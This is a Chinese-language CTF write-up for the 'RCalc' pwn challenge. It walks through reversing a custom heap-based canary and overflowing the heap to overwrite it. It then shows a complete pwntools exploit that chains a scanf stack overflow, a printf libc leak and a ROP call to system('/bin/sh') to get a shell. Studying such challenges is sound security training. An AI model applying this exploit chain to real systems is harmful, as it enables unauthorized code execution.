0%

RCalc

首先,检查一下程序的保护机制,还不错,只开了NX

然后,我们用IDA分析

看到这,感觉像是堆的题,应该会很复杂。然而,我们再看看其他地方,发现这个函数只是在初始化时调用的,也不太可能会被利用,而且程序全程没有调用free函数

然后,我们瞧瞧其他函数,看到这里感觉好复杂,然而,它只是一个用来生成随机数的函数罢了

然后,我们继续看其他函数

这个样子,好像是canary的保护机制啊。这不就是**[他自己写了一个类似于canary的东西吗]{.mark}**

[原来那么一大堆,只是为了完成堆溢出检测罢了]{.mark}

scanf这里有一个栈溢出

这里是保存计算结果到堆里

其中,它没有检查堆溢出,里面的数据可以无限制的添加

取canary的操作

我们可以看出,他自己写的canary机制是把值存到一个堆里,并且遵循栈的性质

1
2
3
4
typedef struct {  
int top;
int *data;
} Canarys;

再重新看看创建堆的操作,经过分析,第一个0x100堆用来存放计算结果,第二个0x320堆用来存放n个canary的值。由于创建的顺序是0x100的那个用来保存计算结果的堆先创建,并且之前没有free操作,那么0x100堆的后面就是0x320堆,[我们可以从0x100堆里溢出到0x320堆里,覆盖canary的值为我们自己设置的值,这样就绕过了这个检测机制,然后就是正常的ROP操作了。]{.mark}

调试看看

所以,需要保存(0Xceb160-0xceb050) / 8 = 0x22个整数后,就可以溢出了

1
2
3
4
5
6
7
8
9
10
def setCanary(canary):  
for i in range(0x22):
sh.sendlineafter('Your choice:','1')
sh.sendlineafter('input 2 integer:','0')
sh.sendline('1')
sh.sendlineafter('Save the result?','yes')
sh.sendlineafter('Your choice:','1')
sh.sendlineafter('input 2 integer:','0')
sh.sendline(str(canary))
sh.sendlineafter('Save the result?','yes')

本题,由于是**[使用scanf来输入payload中的,因此,我们的payload中不能出现0x20(空格)数据]{.mark}**,也就是地址里,不能有0x20数据,因此这些got表都用不了,放入payload的话,scanf遇到0x20就会停止输入,从而造成payload输入不完整。

但是,上面的那个__libc_start_main或__gmon_start__倒是可以用来泄露,因为他们的got表地址没有0x20

Puts也不能用了,因为有0x20

我们用printf

那么,我们先泄露__libc_start_main加载地址,计算出libc地址

1
2
3
4
5
payload = 'a'*0x108 + p64(mycanary) + 'a'*0x8 + p64(pop_rdi) + p64(__libc_start_main_got) + p64(printf_plt) + p64(main_addr)  
sh.sendlineafter('Input your name pls: ',payload)
#现在我们要通过堆溢出,把canary的值改成我们的mycanary
setCanary(mycanary)
sh.sendlineafter('Your choice:','5')

这里有个奇怪的问题,当mycanary为非0时,printf会报错

所以我们的mycanary统一就都为0吧

于是,我们最终的exp脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#coding:utf8  
from pwn import *

context.log_level = 'debug'

#sh = remote('111.198.29.45',49895)
sh = process('./RCalc')
elf = ELF('./RCalc')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
printf_plt = elf.plt['printf']
__libc_start_main_got = elf.got['__libc_start_main']
#pop_rdi用于64位函数传参
pop_rdi = 0x401123
main_addr = 0x401036
#我们自己设置canary,不知道为什么,如果非0,printf会报段错误
mycanary = 0

print hex(__libc_start_main_got)

def setCanary(canary):
for i in range(0x22):
sh.sendlineafter('Your choice:','1')
sh.sendlineafter('input 2 integer:','0')
sh.sendline('1')
sh.sendlineafter('Save the result?','yes')
sh.sendlineafter('Your choice:','1')
sh.sendlineafter('input 2 integer:','0')
sh.sendline(str(canary))
sh.sendlineafter('Save the result?','yes')

#注意,我们的payload中不能有0x20数据,因为这是空格,会导致数据截断
#我们先写ROP到栈里
payload = 'a'*0x108 + p64(mycanary) + 'a'*0x8 + p64(pop_rdi) + p64(__libc_start_main_got) + p64(printf_plt) + p64(main_addr)
sh.sendlineafter('Input your name pls: ',payload)
#现在我们要通过堆溢出,把canary的值改成我们的mycanary
setCanary(mycanary)
sh.sendlineafter('Your choice:','5')

__libc_start_main_addr = u64(sh.recv(6).ljust(8,'\x00'))
#获取libc基地址
libc_base = __libc_start_main_addr - libc.sym['__libc_start_main']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()
print 'libc_base=',hex(libc_base)

payload = 'a'*0x108 + p64(mycanary) + 'a'*0x8 + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
sh.sendlineafter('Input your name pls: ',payload)
setCanary(mycanary)
sh.sendlineafter('Your choice:','5')


sh.interactive()